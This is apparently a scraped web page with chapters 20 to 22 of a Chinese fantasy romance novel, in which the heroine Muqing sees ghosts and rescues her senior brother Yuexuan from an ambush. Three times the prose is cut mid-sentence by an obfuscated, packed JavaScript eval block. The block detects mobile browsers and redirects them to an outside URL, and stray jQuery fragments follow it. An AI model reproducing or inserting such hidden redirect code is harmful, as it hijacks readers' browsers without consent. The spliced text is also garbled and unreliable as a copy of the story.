慕情:“……谢谢二师兄……”
这礼物也不是很想要怎么办?
20. 第 20 章
老门主是德高望重之人,谁曾想死后竟毫无预兆地化作如此凶戾的煞鬼。
这其中疑云重重,绝非寻常。
若非慕情这个意外出现,今日惊涛门不流些血,怕是难以善了。
最好的结果,不过是钟武及时赶回,带来如霜不在的坏消息,众人等不及如霜赶到,只得硬着头皮联手除煞。
可鬼物无形无影,老门主修为深厚又情况诡异,一番恶斗下来,伤亡在所难免。
惊涛门不仅会元气大伤,这消息一旦传开,百年声誉也将受损。
更可怕的是,万一在阵法彻底崩溃前未能解决,让老门主所化的煞鬼逃了出去……后果更是不堪设想。
外界风雪停息,众人不敢有丝毫耽搁,立刻着手重启问灵阵。
月悬长时间维持阵法,消耗已然极大,加上方才那弥漫的阴气,他虽面上一派沉静,看不出端倪,但腿上旧疾恐怕已经在隐隐作痛。
清明司众人哪敢再让他操劳?坚决由其他可靠之人来主持问灵。
只是这件事内情复杂,恐怕要在清明司立案。他们也必须留在原地,等待结果。
慕情就没有这方面的顾忌了,见危机解除,她被惊涛门的人带下去包扎完伤口。
月悬对无心说道:“这里有我和二师弟,你尽早护送慕情回府。”
“是。”无心立刻应声。
“务必确保万无一失。”月悬的声音带着不容置疑的沉稳,他偏过头,目光在慕情的背影上短暂停留了一瞬,补充道,“钟武也跟你们一起。”
无心知道他是担心慕情今天太招摇,路上会出什么意外,咧了咧嘴,爽快应下:
“行,放心吧大师兄!。”
片刻后,在众人明里暗里的打量中,眷王府的马车低调地启动,辚辚驶离惊涛门分舵。
车厢内暖意融融,与外面的寒风凛冽判若两个世界。
无心没什么规矩讲究,任由钟武在外面守着,大喇喇地钻进马车和慕情同乘。
“我说小师妹,你今天可真是出人意料,镇魔琴你怎么弹得起来的?”
他声调放松,略带调侃,许是见过之前诸多奇事,逐渐习惯了,语气里倒是没有多少质问之意。
慕情无辜眨眼:“我从小精神力就异于常人,王爷说我跟镇魔琴有缘分,便教了我一些。”
无心看着她清澈坦荡的眼眸,心中感受十分复杂。
若说之前还对她这“天降小师妹”的身份存疑,甚至揣测她是否别有用心,那么经此一事,他真的有些相信她是他们的同门小师妹了。
即便不是,也必定与眷王府渊源极深。
毕竟镇魔琴是何等重要?若非亲传弟子,在眷王府中学习过,否则绝无触碰到的可能。
不是有些神话志怪中写到,这世界有着不同的时空。
或许眼前这个鲜活灵动的慕情,就是另一个时空里他们真正的小师妹,阴差阳错落到了此间?
否则这一切异象实在难以解释。连师父回来,怕也要挠头。
他又想起阵中那惊鸿一瞥,好奇更甚:“对了,刚才在阵中,面对那肉眼不可见的鬼物,你怎么好像总能预判它的动作?”
“什么肉眼不可见?”慕情摆弄着破了道口子的袖子,随口应道,“我看得见啊。”
“什么?!”
无心惊了一跳,差点从座位上弹起来,眼睛瞪得溜圆,“你怎么看得见?”
要知道,除了老门主初化煞鬼那片刻的狰狞显形,以及最后被镇魔琴净化时残留的虚影,其他时候,那煞鬼根本就是一股纯粹的、狂暴的阴性能量,肉眼凡胎根本捕捉不到分毫。
他们只能凭借空气中细微的波动、阴风的流向、甚至是对危险的直觉来预判鬼物方位,偶尔来得及借助一些法器,但也效率低下。
这是清明司处理绝大多数鬼物时最头疼的难题!
慕情被他过激的反应吓了一跳,茫然地抬起头:“啊?我没告诉你们吗?我……我能看见鬼的呀。”
她语气自然得仿佛在说“我能看见花花草草”。
“!!!”无心内心瞬间掀起惊涛骇浪,无数念头呼啸而过——
早说啊!我那积压成山的悬案卷宗、那些找不到尸首的失踪案、那些离奇暴毙的疑案……岂不是都有救了?!
他看向慕情的眼神瞬间变得无比灼热,像在看一座闪闪发光的金矿。
慕情却完全没领会到他眼神里的深意,心思早就飘到了别处。
她回头看向惊涛门的方向,蹙着秀气的眉,担忧地问:“无心师兄,月悬师兄留在那里真的没事吗?他的腿……”
提到这个,无心脸上的兴奋淡去,叹了口气:“没办法。惊涛门老门主非一般人,他的案子恐怕会牵扯各方势力。师父远游未归,大师兄承世子之位,又暂代清明司主事,必须留下主持大局。至于腿……”
他顿了顿,“他那月蚀之症,每逢月圆之夜才发作得最厉害。眼下只是下弦月,应当……还好吧?别太担心了。”
话虽如此,他语气里也带着一丝不确定。
慕情沉默了一下,轻声追问:“他的腿,能治好吗?”
无心神色微黯,声音也低沉下来:“你没听说过吗?江湖上都传,大师兄是唯一见过鬼界的活人。他幼时坠入幽冥缝隙中,差点救不回来,幸亏师父到得及时,在千钧一发之际将他拉了回来,只是因为被被那至阴至寒的幽冥阴气侵入骨血,落下了月蚀之症,每月必经历一次痛苦轮回,且……无药可救。”
最后四个字,他说得格外沉重。
“无药可救……”慕情喃喃重复着,心口像是被什么东西揪紧了。
她觉得不应该是这样的……
无心看了她一眼,少女脸上那毫不掩饰的心疼让他心头微动,忍不住又补充道:“这些年,大师兄他……从不回应任何姑娘的示好,除了他性子如此。我想……或许,未尝没有这方面的原因。”
他点到即止,话中深意不言而喻。
慕情抬起头,眼神异常坚定,仿佛有光:“我知道。但没关系,我们一起想办法!总会有希望的!”
她的语气带着一种近乎天真的笃定,却奇异地驱散了车厢内弥漫的沉重。
无心看着她认真的脸,无奈地笑了笑,心中却莫名生出一丝暖意。
如果她真是来自另一个时空的小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725753|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
师妹……那她与大师兄之间,难道真有某种奇妙的缘分?
他甩甩头,不再深想。
马车平稳地驶入王府。
慕情在无心的护送下,小心翼翼地将镇魔琴送回原处。
海棠得了消息,急忙过来询问,得知他们都没什么事后才放下了心,见慕情手臂划了道口子,还特意拉着她回房,给她重新上了药。
“这是我特意找人配的,保准不会留下疤痕。”
慕情谢过师姐,便回去休息了。
此番消耗比较大,她一连昏沉睡了两天,才终于恢复了精神。
岚山惊涛门分舵那边,第二次问灵似乎颇为顺利,月悬次日便回了王府,随即陷入了连日的繁忙。
慕情虽不知案件具体细节,但从他们议事中听到只言片语,那老门主之死,竟然也与鬼王教有关。
短时间内数案并发,清明司只得顺着鬼王教这条线深挖。
加之老门主此番入京,是为打探朝廷新政动向,暗中接触了不少官员,皆不是好相与之辈。
月悬肩上的担子愈发沉重,整日不见人影。
与此同时,慕情没想到,去一趟岚山回来,她的悠闲日子居然也到头了……
无心几乎每日都来找她帮忙,将案头上那些堆积的、京城附近的的疑案卷宗,全都扒拉出来,带着她一起去处理,仿佛已经完全忘了大师兄的禁令。
“小师妹!走,今天城西有个案子,保管有趣!”无心笑容灿烂。
慕情正拿着小巧的竹刷子,在伺候她那些娇贵的桃花,头也不抬。
“等一会儿,我先扫掉上面的雪。”
“扫什么雪呀!”无心一把夺过她的小刷子塞给旁边的花匠,“老李,交给你了!”说着就要拉她。
连着当了几天“免费劳动力”的慕情,眼珠滴溜溜一转,狡黠地笑了:“帮你可以呀,不过……作为交换,无心师兄,你也得帮我个小忙。”
“什么忙?说来听听?”无心一脸“就知道你有后招”的表情。
慕情凑到他耳边,压低声音如此这般地说了一通。
“什么?!你让我——”无心指了指自己,“帮你去大师兄的止院里……种树?”
“嘘——”慕情吓得赶紧捂住他的嘴,紧张地左右看看。
“小声点!他现在防我跟防贼似的,我根本进不去。你偶尔不是还得进去汇报公务嘛?就……就找个机会,悄悄挖个小坑,把这树苗埋进去就行!很快的!神不知鬼不觉!”
她变戏法似的从旁边摸出一棵小树苗,眼巴巴地望着无心。
“不去不去!大师兄要是知道了,没我的好果子吃。”无心苦着脸,把头摇得像拨浪鼓。
慕情轻哼一声,抱着手臂转过身去:
“那我也不去破案了!某人之前承诺的‘好处’,我可一样都没见着呢。”
她故意拖长了调子。
无心又好气又好笑,最终败下阵来:“行行行!我的姑奶奶,算我怕了你了!你先跟我去把这案子结了,回头……回头我瞅准机会,试试看!行不行?”
“一言为定!”慕情立刻眉开眼笑,像只偷到腥的小狐狸。
21. 第 21 章
无心就这样被慕情拖下水,一起偷偷摸摸往止院里种树,结果自然是接二连三地被抓包,一起被月悬收拾。
两人也因此结下了深厚的患难之谊。
偶尔三师姐来找她帮忙,也会被她拉入阵营。她甚至还买通了钟武放她进去,最后……还是被月悬当场抓获。
如此折腾了小半月。
一来二去,这事儿不知怎的,竟在王府里悄然传开了。
连冷若冰霜的四师姐如霜,都知道了慕情的规矩。
于是,她来找慕情帮忙之前,默默地在月悬院墙外最不起眼的角落里,亲手种下了一棵桃树。
这位冰山美人眼中竟罕见地露出一丝歉意,对慕情道:“止院我进不去,只能种在墙外了。”
慕情看着如霜那惯常没有表情的脸,再想想那棵孤零零长在墙角的树苗,瞬间闹了个大红脸,连连摆手:“没、没关系!四师姐的事要紧!”
她知道四师姐的性子,能来找她,定是遇到了非她不可的难题,哪会在意这个。
邻近年底,各地案子大多已经了结,眷王府中也添了些喜庆的装饰,显出几分热闹来。
这日,月悬提前处理完公务回府,刚走到止院门口,就看到无心身手灵活地攀上他的院墙,手里还拽着一个色彩斑斓的大风筝。
今日风大,吹得风筝翅膀不停颤动,左右摇晃。
慕情在墙根底下急得直跳脚,小声指挥着:
“左边!左边再高点!哎呀你绑结实点啊!别掉下来……算了算了,你下来,我自己爬上去绑!”
“……你们在干什么?”月悬的声音突兀地响起,如同平地惊雷。
无心惊得一激灵,险些从墙上掉下来。
慕情更是像被踩了尾巴的猫,猛地缩起脖子,心虚地不敢回头。
无心尴尬地坐在墙头上,望天打哈哈:“哈……大师兄?你怎么这么早就回来了?那个……我陪小师妹放风筝呢……”
“……你都多大人了?还总跟着她胡闹?”月悬眉峰微蹙,语气听不出喜怒,“下来。”
“行行行,这就下来!”无心作势要往下跳。
“别!”慕情急了,也顾不上怂了,脱口而出,“就差一点了!不绑在院子里,就绑在墙头那个角上!马上就好!”
她祈求地看着月悬。
月悬似乎想说什么,但无心动作更快,趁着月悬分神的刹那,手一扬,迅速将风筝线牢牢系在了墙头一块凸起的砖石上,随即利落地翻身跳下。
慕情见状,嘴角刚扬起一丝得逞的笑意——
下一秒,只见月悬广袖轻拂,一道寒光闪过,那根细细的风筝线应声而断!
失去了束缚的彩色风筝,立刻乘着风,轻飘飘地飞向高远的天空,转眼间就化作一个小点,消失不见。
慕情脸上的笑容瞬间凝固,仰头呆呆地望着风筝消失的方向。
意识到发生了什么,她眼圈瞬间变红,咬了咬下唇,一句话也没说,转身跑掉了。
无心脸上的笑容也散了,看着慕情跑远的背影,又看看神色淡漠的月悬,语气带着几分不赞同:
“大师兄……不至于吧,不过是一只风筝而已……”
月悬没有回答,只是沉默地望着慕情消失的那条小径,深邃的眼眸里翻涌着无人能懂的情绪。片刻后,他收回目光,一言不发地走进了止院。
止院内一片静谧。月悬推开书房的雕花木窗,目光不由自主地落在窗外。
那里,几株桃树种得齐整,上面覆盖着厚厚的保暖层,没有半点凌乱,显然是被人精心照料的。
他静静地看了许久。
钟武端着热敷包进来:“公子,该热敷了。”
月悬接过,入手温热熨帖,药草香气淡淡萦绕。他随口道:“今日提早回来了一些,厨房备得倒是及时。”
钟武迟疑了一下,老实回答道:“公子,这不是厨房备的。是慕情姑娘……早上就亲手做好了,一直温在厨房的小灶上,叮嘱说等您回来就立刻送来。她……不知您今日会提前回来。”
月悬握着那温热的药包,指尖仿佛还残留着慕情留下的暖意。
钟武的话像投入心湖的石子,激起一圈圈涟漪。
愧疚与一种难以言喻的心疼悄然漫上心头,比他腿疾发作时的隐痛更甚。
那只被朔光斩断的风筝,她跑开时通红的眼圈……一幕幕在眼前闪过。
他沉默片刻,对钟武道:“命人去一趟百味斋,买些她爱吃的桂花糕、杏仁酥、蜜饯果子……还有,玲珑阁新到的那些机巧玩具,不拘什么,挑有趣的,买一箱来。”
他的声音依旧平淡,却透着一丝不易察觉的柔和。
钟武愣了一下,随即应声:“是,世子。”
心中暗道,世子这是……开窍了?
当那满满一箱散发着甜香气息的精致点心和琳琅满目的新奇玩具被送到慕情面前时,她正对着窗外的枯树发呆。
委屈还没完全散去,但这突如其来的“补偿”像一阵暖风,吹散了心头的阴霾。
她翻了翻,里面有九连环、会翻跟头的木头猴子、绘着精美图案的走马灯等。
她抱着那个沉甸甸、散发着木香的箱子,像抱着稀世珍宝,一路小跑着冲向止院。
这次,门口的守卫依然尽职地通报。钟武习惯性地想上前代劳,却被月悬的声音打断:“让她进来。”
慕情抱着箱子,脚步反而迟疑了,有点不敢相信自己的耳朵。
她小心翼翼地踏进止院,冬日难得的阳光,透过稀疏的枝叶洒下斑驳光影,月悬就坐在书房前的廊下,身姿如松,目光落在她怀里的箱子上。
“怎么了,不喜欢?”他开口,声音听不出情绪。
慕情把箱子抱得更紧了些,抬头看他,清澈的眼眸里带着点困惑和期待:“你为什么……给我买这些?”
她更想问的是,你终于肯理我了?
月悬移开视线,看向院角那几株顽强的小桃树,片刻后才低声道:“……给你赔罪。”
算是为那只风筝。
“我又不是小孩子了……”慕情小声嘟囔着,嘴角却不自觉地微微上扬。
她心里其实雀跃极了!这可是她“狂追猛打”这么久,第一次、真真切切地收到月悬主动送的礼物!意义非凡!她努力压下想原地转圈的冲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745892|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动。
她把箱子轻轻放在廊下石阶上,没去碰那些玩具点心,反而走近一步,仰着脸,带着一丝不解的执拗问道:
“月悬师兄,为什么你现在变得这么难追呢?”
这个问题困扰她太久了,“明明……明明之前不是这样的。”
在她模糊的记忆碎片里,那个月悬师兄,会包容她的胡闹,会耐心地指点她剑法,对她有着特别的温柔。
“你来就是说这个?”月悬眉心微蹙,语气里带着一丝无奈,仿佛在看着一个无理取闹的孩子。
他并未回答她的问题,只对钟武道:“送她回去。”
慕情眼中的光黯淡了些,但抱着“赔罪礼物”的甜意还在支撑着她。
没关系,至少能进来了!
·
第二日清晨,薄雾未散,竹影婆娑。
慕情依旧准时出现在月悬练剑的竹林,手里还拎着一把装模作样的剑。
她像往常一样,在他不远处开始“舞剑”——姿势毫无章法,与其说是练剑,不如说是一场自得其乐的即兴表演,剑尖时不时还“不小心”指向月悬的方向。
然而这次,预想中的无视并未到来。
月悬一套剑法收势,剑尖轻点地面,发出清越的嗡鸣。
他侧过身,目光终于落在了那个“张牙舞爪”的身影上,看了片刻,轻轻叹息一声。
那叹息声不大,却清晰地传入慕情耳中。她动作一顿,心跳莫名加速。
“要练,就好好练。”月悬的声音平静无波,却像一盆冷水浇在慕情头上,“这般故作姿态,是想做什么?”
他一眼就看穿了她的小把戏。
慕情非但不恼,反而眼睛一亮,立刻收了那乱七八糟的招式,几步跑到他面前,笑容灿烂得晃眼:“看不出来吗?师兄!我想要你像以前一样指点我!”
她重复着之前的愿望,带着小心翼翼的试探和满满的期待。
竹林间一片寂静,只有风吹竹叶的沙沙声。
月悬看着眼前少女亮晶晶的眼眸,那里面盛满了纯粹的仰慕和毫不掩饰的亲近渴望。
他沉默了许久,久到慕情脸上的笑容都快维持不住。
终于,他开口了,声音低沉而清晰,带着一种斩断一切的决绝:“指点剑法,可以。”
慕情的心刚要飞扬起来。
“但是,”月悬的目光沉静如水,没有丝毫波澜,“慕情,在情感上,我不会答应你。不要再做无谓的事情,徒增困扰。”
他的话像一把冰冷的匕首,精准地刺入慕情最柔软的地方。
“……”慕情脸上的笑容瞬间僵住,扁了扁嘴,巨大的委屈汹涌而来,瞬间淹没了她。
喉咙像是被什么堵住了,酸涩得发不出任何声音。
她低下头,死死盯着自己的鞋尖,怕一抬头,眼泪就会不争气地掉下来。
原来,那些礼物,那允许她进止院的态度,都只是“赔罪”和“责任”,与她的心意无关。
月悬看着她瞬间低落的模样,垂在身侧的手指几不可察地蜷缩了一下,终究没有再说一个字,转身继续练剑,仿佛刚才那番伤人的话从未出口。
22. 第 22 章
自那日后,月悬确实没有再像躲避洪水猛兽般避着慕情。
她那些稀奇古怪的小玩意儿、偷偷塞到他书案上的点心、甚至偶尔故意在他经过时制造的“偶遇”,他不再视而不见,有时会淡淡瞥一眼,有时会无奈地让钟武收下点心,对于她的“骚扰”,容忍度似乎高了一些。
偶尔,她也能被允许进入止院,帮他磨墨,虽然他写得飞快几乎不需要,或者安静地坐在一旁看他处理公文,虽然常常看着看着就趴在桌上睡着了……
止院里,她偷摸栽下的小桃树苗,第二天总会“神奇”地出现在王府花园的某个角落,被精心照料着,但就是不在原本该在的地方。
这种若即若离的状态,让慕情更加茫然。
她感觉他们之间的距离似乎比之前更近了,至少能靠近。
可那道名为“拒绝”的冰冷高墙,却仿佛更高、更厚了,清晰地横亘在她面前。
她像一个在门外徘徊的孩子,主人允许她待在屋檐下躲雨,却始终不肯为她打开那扇门。
日子就在这种微妙的平衡中,又不紧不慢地滑过数日。
自从那日在岚山展现出超强的精神力,月悬似乎也默认解除了她的禁令,不仅放任其他师兄师姐们带她出现场,偶尔她也能悄悄摸出府去,逛上几圈。
这日中午,她外出买了糕点回来,刚拐过王府回廊的一个弯角,眼角的余光猛地捕捉到一个有些熟悉的背影,正步履匆匆地消失在通往内院的另一条岔路尽头。
竟是竭临港一别后,许久不见的谢三!
慕情心头一跳,好奇顿生,正要跟上去看看,斜刺里突然伸出一只手,精准地拽住了她的胳膊。
“哎哟!小师妹,可算找到你了!”无心那张俊朗带笑的脸凑了过来,“快快快,跟我走一趟!”
“又去哪儿啊?”慕情有些不情愿。
“城郊柳叶村,出了点小状况。”无心说道,“村里好几户人家的鸡鸭鹅,连着几天半夜被咬死,死状蹊跷,血流干了不说,脖子上还有俩牙印儿。村民们吓坏了,怀疑有妖邪作祟,报到清明司来了。”
慕情一听,撇了撇嘴,揶揄道:“就这?几只鸡鸭的事儿,也值得咱们大名鼎鼎的清明司‘心使’大人亲自出马?杀鸡用牛刀啊无心师兄。”
无心嘿嘿一笑,拉着她就往外走:
“话不能这么说,快过年了,图个清净吉利嘛,巴不得天天都是这种小事。再说了,有你这双慧眼在,事半功倍嘛!走走走,就当陪师兄散散心。”
慕情拗不过他连拖带拽,只得把糕点塞给路过的侍女,叮嘱送回她房里,然后被无心半推半就地塞进了马车。
柳叶村的情况确实如无心所说。
在慕情精神力的精准“导航”下,他们很快锁定了罪魁祸首——一只修炼成精、专吸禽畜精血的狐鬼。
无心带着几名清明使布下法阵,费了些手脚,总算将这只狡猾的狐鬼擒获。
然而,审问之下才知,这狐鬼并非孤身作案,它还有个道行稍浅的伴侣外出未归。
为了斩草除根,避免其伴侣回来报复村民,无心只得决定在村子里蹲守一夜。
夜幕低垂,村子里渐渐安静下来。
无心和慕情坐在一户人家的屋顶上,望着天边最后一丝晚霞被深蓝的夜色吞噬。
案子算是有了眉目,慕情也顺利完成了探测任务。
可不知为何,她心里那股见到谢三背影时就隐隐泛起的不安,不仅没有消散,反而越来越浓,沉甸甸地压在心头。
她忍不住侧头问旁边正无聊数星星的无心:“无心师兄,谢三……之前被派去做什么了?怎么这么久才回来?”
无心打了个哈欠,随口道:“他啊,一直在外头跑腿呗,其实他前阵子就回京了。这不,刚回来就赶上惊涛门老门主那案子,估计又被大师兄派出去了。”
“哦……”慕情若有所思地应了一声,眉头却皱得更紧了。
谢三那匆匆离去的背影,带着一种刻不容缓的急迫感……
“那他今天中午急匆匆来王府,是不是……要向月悬师兄汇报什么要紧事?”
她的声音带着自己都没察觉的紧绷。
“兴许是吧,老门主死得蹊跷,鬼王教那边……”无心话还没说完,就见身边的慕情猛地站了起来!
动作之大,差点带翻屋顶的瓦片。
“我想起还有急事!无心师兄你自己守着吧!我先回去了!”
慕情语速极快,丢下这句话,转身就从屋檐边轻盈地跳了下去,落地后头也不回地朝着村口跑去。
“哎!你等等!天都黑了你去哪……”无心猝不及防,想追又想起这里不能离人,只得急急对着下面喊道:“跟上她!”
一名清明使立刻领命,施展轻功追了上去。
慕情其实根本没想清楚自己有什么“急事”,只是那股莫名的心慌,紧紧缠绕着她,让她几乎喘不过气。
她只有一个念头:快点回去,见到月悬,这颗心才能落回肚子。
马车在官道上疾驰,慕情的心跳却比车轮滚动的节奏更快。
一路冲回眷王府,她顾不上喘息,直奔止院。然而,迎接她的却是紧闭的院门和屋内一片漆黑。
“月悬师兄呢?”慕情的声音带着一丝不易察觉的颤抖。
守卫恭敬回答:“回姑娘,世子下午时分便出门了,至今未归。”
“去哪了?”慕情的心猛地一沉,追问道。
守卫迟疑了一下,似乎不太确定:“听……听钟武大人提过一嘴,好像是要去京郊的一个什么别庄……”
另一个守卫补充道:“对,是叫‘楚岚院’。听说是惊涛门老门主在京郊的一处私人产业。”
“楚岚院……”
这三个字像是一把钥匙,打开了她心中深藏的一个记忆片段。
“嗡——!”
脑中仿佛被重锤击中,无数杂乱的碎片瞬间炸开!这一次的冲击远比以往任何一次都强烈。
她眼前一黑,意识被猛地拽入一片血红与混乱交织的漩涡。
身体剧烈地摇晃了一下,几乎站立不稳。
“姑娘!”守卫们吓了一跳,慌忙伸手欲扶。
慕情却猛地站稳了,脸色惨白如纸,额角渗出细密的冷汗。
她“看”见了……不是模糊的预感,是清晰得令人窒息的画面!
阴森的地底祭坛,地砖上闪烁着诡异的符文。
月悬轮椅被夺,狼狈地跌坐在祭坛中央,数道漆黑的锁链紧紧束缚着他的手脚,他脸色苍白如纸,嘴角溢着刺目的鲜血。
一个笼罩在黑袍中的身影,正高举着散发不祥黑气的骨杖,狠狠朝他刺去!
“不要——!”慕情在记忆碎片里发出无声的尖叫,巨大的恐惧扼住了她的喉咙,让她呼吸都要停滞了。
现实中,守卫们只见慕情猛地吸了一口气,仿佛刚从溺水中挣扎出来,然后猛地转身,向大门的方向飞掠而去。
她的速度快得惊人,只在原地留下一道残影和凛冽的寒风。
“姑娘!您去哪?等等……”守卫们惊愕的呼喊被远远抛在身后。
寒风像刀子一样刮在脸上,刺骨的冰冷,慕情却浑然不觉。
莫医师千叮万嘱不得受寒的嘱咐早已被她抛到九霄云外,她脑海中只有一个念头:去楚岚院。
身体仿佛被一股无形的力量推动着,潜能被彻底激发。
脚下的道路在飞逝,两旁的景物模糊成一片流动的光影。她甚至清晰地“记得”通往楚岚院的每一条岔路,每一个转弯。
这熟悉感让她心惊和惶恐。
按理来说,她应该没有去过楚岚院,为何路线如此清晰?记忆里的时间线,和现在的一切,好像是错乱的?
还有谢三……她终于想起来了,难怪在竭临港初遇时总觉得谢三眼生,不是因为失忆模糊了面孔,而是因为谢三确实没能跟在月悬身边多久。
在她那段突兀闪现的、充满血腥的记忆里……月悬带人探查楚岚院时中了埋伏,带去的人……死了好几个,谢三就是其中之一。
这个认知让她遍体生寒。
夜色如墨,楚岚院孤零零地矗立在京郊荒野之中。
院墙高耸,大门紧闭,里面一片死寂,静得连虫鸣都听不见一丝一毫。
这诡异的寂静,让慕情心中的不安达到了顶点,直觉告诉她,月悬他们一定出事了。
慕情深吸一口气,没有丝毫犹豫,提气纵身,轻盈地翻过高高的院墙,落入院内。
空气中弥漫着一股淡淡的、令人作呕的血腥味。
她心脏狂跳,强忍着恐惧,借着朦胧的月光,在空旷死寂的庭院中焦急地搜寻。
突然,一道鬼魅般的黑影悄无声息,从一座假山后飘了出来。
那笼罩全身的黑袍,赫然与慕情记忆碎片中的人影重合。
“果然是你!”慕情瞳孔骤缩,一股滔天的怒火瞬间压过了恐惧。
她甚至来不及思考自己为何如此肯定,身体已经先于意识做出了反应。
“我师兄在哪?!”慕情厉喝一声,精神力如同汹涌的潮汐,毫无保留地倾泻而出。
她双手快速结印,一道道肉眼可见的淡金色涟漪,带着凌厉的破空声,狠狠撞向那黑影。
黑影显然没料到她有如此强大的力量,仓促间挥袖格挡。
一股阴冷粘稠的黑气与淡金色的波纹猛烈撞击在一起!
“轰!”
沉闷的爆响在寂静的院落中炸开,气浪翻滚,震得周围的花草树木簌簌作响,假山上的碎石簌簌滚落。
黑影被震得身形微微一晃,兜帽下似乎传来一声轻咦:“咦?”
“你是谁?”那声音沙哑难辨,却带着明显的惊异和难以置信,“你是……玉音的女儿?”
慕情听不懂,也根本不想答话,心中焦急万分,只想速战速决救出月悬。
她强忍着剧烈消耗带来的眩晕感,再次凝聚力量,攻势如狂风暴雨般袭向黑影。
她的招式谈不上精妙,却胜在力量磅礴诡异,角度刁钻,完全是毫无保留的打法。
那黑影实力显然强上不少,虽然被打得有些狼狈,但周身黑气涌动,化解了她大部分攻击。
但他对慕情极为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754025|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好奇,一边应对,一边仍不忘探究:“这力量……有点意思……”
他似乎并未使出全力,反而像是在观察、在试探。
两人一时僵持不下。
慕情心急如焚,力量如开闸洪水般宣泄,脸色越来越白,额上冷汗涔涔。
黑影则显得游刃有余许多,但也受了些轻伤,空气里的血腥味儿更浓了些。
就在慕情感觉力量即将枯竭,难以为继之时——
“轰隆!”一声巨响从后院方向传来。
那黑影闻声动作猛地一顿,兜帽下似乎闪过一丝懊恼和意外。
“啧……居然挣脱了?”他低语一句,知道今夜事已不可为。
“慕情?”
一个熟悉而冰冷的声音响起,此刻却带着一丝不易察觉的惊怒。
月悬带着人出现在庭院拱门处,黑影眼中寒光一闪,猛地一扬手,一股凝练如实质的漆黑气劲,狠狠撞向已近力竭的慕情!
“噗——!”
慕情根本来不及躲避,只觉胸口如同被重锤击中,喉头一甜,一大口鲜血猛地喷涌而出。
身体如同断了线的风筝,向后倒飞出去。
预想中撞击地面的剧痛并未传来。
她落入了一个带着冷冽淡香、却异常温暖的怀抱里。
“……月悬……师兄……”慕情艰难地睁开眼,模糊的视线里映出月悬紧绷的下颌线。
她想伸手去碰他的脸,却抬不起胳膊。
月悬抱着她,感受到她身体的冰冷和嘴角刺目的血迹,一股滔天的怒火几乎要焚毁理智。
他眼神冰冷地扫过黑影消失的方向,最终落回怀中气息奄奄的人身上,声音里带着压抑不住的怒火和一丝……后怕的颤抖。
“谁让你来的?!你不要命了?!”
慕情被他吼得瑟缩了一下,巨大的委屈和劫后余生的恐惧瞬间涌了上来。
眼泪毫无预兆地涌出,混合着嘴角的血迹,在她苍白的脸上划开狼狈的痕迹。
她泪眼朦胧地看着他,声音微弱却带着哭腔:“我……我看见……你……好多血……锁链……祭坛……我怕……”
月悬满腔的怒火,在她这断断续续、充满恐惧和担忧的哭诉中,如同被冰水浇透,瞬间消失得无影无踪。
他抱着她的手臂下意识地收紧,喉结滚动了一下,声音低沉下来:
“我……没有受伤,只是被困住了。”
慕情闻言,努力睁大眼睛,借着月光仔细地、一寸寸地打量他的脸,又费力地想去看他的手脚身体。
虽然狼狈,衣衫染尘,但确实……没有记忆中那刺目的伤口和锁链的痕迹。
她紧绷的心弦骤然一松,一直强撑着的那口气也随之泄去。
巨大的疲惫和伤痛涌上来,她意识开始有些模糊。
在彻底陷入黑暗之前,她还喃喃地惦记着:“我、我把坏人……赶走了,你要给我……奖励……”
“我要……在你院子里……种一棵桃树。”
她的声音越来越微弱,最终归于沉寂,只有那只攥着他衣襟的手,还带着微弱的力道。
月悬低头看着怀中脸色惨白如纸的少女,长长的睫毛在眼睑下投下一小片脆弱的阴影,嘴角还残留着未干的血迹。
晚风吹过,带来她身上淡淡的血腥味和一丝若有似无的桃花香。
四周一片狼藉,刚刚脱困的清明使们正在处理现场,受伤的钟武、谢三也焦急地围了上来。
月悬沉默地抱着她,手搭着她的手腕,内力源源不断地输过去。
但人始终没有再醒来。
他微微低下头,薄唇几乎贴着她冰冷的额发,用只有他自己才能听见的、低哑到极致的嗓音,郑重地、清晰地应了一声:
“好……我答应你。”
·
慕情被月悬抱回王府时,气息微弱如游丝,嘴角残留的刺目血迹衬得她脸愈发苍白透明。
莫医师闻讯立刻赶来,衣不解带地守在她床边。
药汁一碗碗灌下去,金针一次次落下,外伤和内腑的震伤很快得到了控制,她身体的生机在慢慢地恢复。
然而,几天过去了,慕情却始终深陷昏迷,意识沉在黑暗里,对外界的一切呼唤都毫无反应。
月悬每日处理完堆积的公务,必定会来到她床前,素日清冷的眉宇间,添了几分化不开的焦灼和疲惫。
他尝试过像上次那样,在她耳边低唤她的名字,声音放得极低,极柔。
可是,毫无作用。
她安静地躺着,呼吸清浅,长睫在眼下投下安静的阴影,仿佛隔绝了整个世界……
